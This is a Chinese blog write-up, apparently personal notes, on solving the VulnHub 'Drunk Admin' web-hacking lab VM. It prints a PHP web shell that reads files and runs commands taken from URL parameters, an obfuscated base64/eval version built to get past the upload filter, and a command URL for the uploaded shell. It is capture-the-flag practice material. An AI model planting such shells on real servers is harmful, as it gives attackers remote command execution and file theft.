注:  只是记录本人玩的时候发现的新奇点  如果你也想玩且看了这篇文章还是不会,请联系gg

靶机下载地址

https://www.vulnhub.com/entry/drunk-admin-web-hacking-challenge-1,14/

国内有https://www.freebuf.com/column/196648.html    但是nc反弹这里我一直不成功,无法只好坐飞机看了看

解压打开vmx直接就可以进入到靶机中

可以自己配一个net,然后有自动分配ip,

玩了几个靶机,感觉端口开始还是进行端口扫描,建议扫描65535全部端口,但是这里给出了开放的web端口地址

打开后,先进行的是目录扫描,直接参考fb里的大佬

很明显的就是一个文件上传

但是这里有过滤,简单看了眼

$_GET $_POST

  

绕过其实也很简单,看了一下  base64即可

<?php
	if( !empty($_GET['file']))
		 echo htmlspecialchars( file_get_contents( $_GET['file'], true) );
	if( !empty($_GET['command']))
	{
		exec( $_GET['command'], $retval);
		foreach( $retval as $r )
		{
			echo $r."<br/>";
		}
	}
?>

base64后
<?php
	$k = strrev( "edoced_4" . "6esab" );

 	eval( $k("aWYoICFlbXB0eSgkX0dFVFsnZmlsZSddKSkgZWNobyBodG1sc3BlY2lhbGNoYXJzKG
			  ZpbGVfZ2V0X2NvbnRlbnRzKCRfR0VUWydmaWxlJ10sIHRydWUpKTsNCmlmKCAhZW1w
			  dHkoJF9HRVRbJ2NvbW1hbmQnXSkpIHsgZXhlYyggJF9HRVRbJ2NvbW1hbmQnXSwgJH
			  JldHZhbCk7Zm9yZWFjaCggJHJldHZhbCBhcyAkciApe2VjaG8gJHIuIjxici8+Ijt9
			  IH0NCmRpZSggJzxici8+PGJyLz5pc3BvJyApOw0K")
		);
?>

  

上传后,

http://192.168.2.133:8880/images/d120ed170f8347cf63faf52c27d0d9e7?command=ls%20-la%20..

有一个.proof

是一个base64的文件

使用echo xxxxxxxxxx|base64 -d 解码

如果一个用户目录下有一个网站 访问

http://192.168.2.133:8880//~bob/

http://192.168.2.133:8880//~xm17/

    
  

drunk_admin_hacking_challenge靶机之旅?的更多相关文章

  1. Linq之旅:Linq入门详解(Linq to Objects)

    示例代码下载:Linq之旅:Linq入门详解(Linq to Objects) 本博文详细介绍 .NET 3.5 中引入的重要功能:Language Integrated Query(LINQ,语言集 ...

  2. WCF学习之旅—第三个示例之四(三十)

           上接WCF学习之旅—第三个示例之一(二十七)               WCF学习之旅—第三个示例之二(二十八)              WCF学习之旅—第三个示例之三(二十九)   ...

  3. 【C#代码实战】群蚁算法理论与实践全攻略——旅行商等路径优化问题的新方法

    若干年前读研的时候,学院有一个教授,专门做群蚁算法的,很厉害,偶尔了解了一点点.感觉也是生物智能的一个体现,和遗传算法.神经网络有异曲同工之妙.只不过当时没有实际需求学习,所以没去研究.最近有一个这样 ...

  4. Hadoop学习之旅二:HDFS

    本文基于Hadoop1.X 概述 分布式文件系统主要用来解决如下几个问题: 读写大文件 加速运算 对于某些体积巨大的文件,比如其大小超过了计算机文件系统所能存放的最大限制或者是其大小甚至超过了计算机整 ...

  5. .NET跨平台之旅:在生产环境中上线第一个运行于Linux上的ASP.NET Core站点

    2016年7月10日,我们在生产环境中上线了第一个运行于Linux上的ASP.NET Core站点,这是一个简单的提供后端服务的ASP.NET Core Web API站点. 项目是在Windows上 ...

  6. 【Knockout.js 学习体验之旅】(3)模板绑定

    本文是[Knockout.js 学习体验之旅]系列文章的第3篇,所有demo均基于目前knockout.js的最新版本(3.4.0).小茄才识有限,文中若有不当之处,还望大家指出. 目录: [Knoc ...

  7. 【Knockout.js 学习体验之旅】(2)花式捆绑

    本文是[Knockout.js 学习体验之旅]系列文章的第2篇,所有demo均基于目前knockout.js的最新版本(3.4.0).小茄才识有限,文中若有不当之处,还望大家指出. 目录: [Knoc ...

  8. 【Knockout.js 学习体验之旅】(1)ko初体验

    前言 什么,你现在还在看knockout.js?这货都已经落后主流一千年了!赶紧去学Angular.React啊,再不赶紧的话,他们也要变out了哦.身旁的90后小伙伴,嘴里还塞着山东的狗不理大蒜包, ...

  9. WCF学习之旅—第三个示例之二(二十八)

    上接WCF学习之旅—第三个示例之一(二十七) 五.在项目BookMgr.Model创建实体类数据 第一步,安装Entity Framework 1)  使用NuGet下载最新版的Entity Fram ...

随机推荐

  1. Carve Visual Studio2015编译

    下载Carve库  https://github.com/folded/carve 目录结构如下: 用Visual Studio2015打开,点击右键,生成即可 在bin目录下生成了   .lib文件 ...

  2. java-selenium 框架例子

    package mavenweb2; import org.openqa.selenium.By; import org.openqa.selenium.WebDriver; import org.o ...

  3. 123457123456#0#-----com.twoapp.mathGame13--前拼后广--13种数学方法jiemei

    com.twoapp.mathGame13--前拼后广--13种数学方法jiemei

  4. C# WebApi 接口传参详解

    这篇文章主要介绍了C# WebApi 接口传参详解,本篇打算通过get.post.put.delete四种请求方式分别谈谈基础类型(包括int/string/datetime等).实体.数组等类型的参 ...

  5. [转载]DriverStore文件夹特别大,能删除吗?

    [转载]DriverStore文件夹特别大,能删除吗? 转自博客园https://www.cnblogs.com/lovebing/p/6951833.html 这篇文章,清理完C盘多了20G!不要太 ...

  6. php-fpm,cgi,fast-cgi,nginx,php.ini,php-fpm.conf,nginx.conf

    php-fpm.conf 是PHP-FPM特有的配置文件. php.ini 是所以php模式中必须的配置文件. 两者的区别是,php-fpm.conf 是PHP-FPM进程管理器的配置文件,php.i ...

  7. [NOIP普及组2001]最大公约数和最小公倍数问题

    目录 链接 博客链接 题目链接 题目内容 题目描述 格式 输入 输出 数据 样例 输入 输出 说明 题目名称:最大公约数和最小公倍数问题 来源:2001年NOIP普及组 链接 博客链接 CSDN 洛谷 ...

  8. PAT甲级 二叉树 相关题_C++题解

    二叉树 PAT (Advanced Level) Practice 二叉树 相关题 目录 <算法笔记> 重点摘要 1020 Tree Traversals (25) 1086 Tree T ...

  9. Echarts API说明文档

    theme = {        // 全图默认背景        // backgroundColor: 'rgba(0,0,0,0)',                // 默认色板        ...

  10. Ubuntu将自带的python3升级

    一.这里演示的是将python3.5升级到python3.6 1.添加安装源,在命令行输入如下命令: sudo add-apt-repository ppa:jonathonf/python-3.6 ...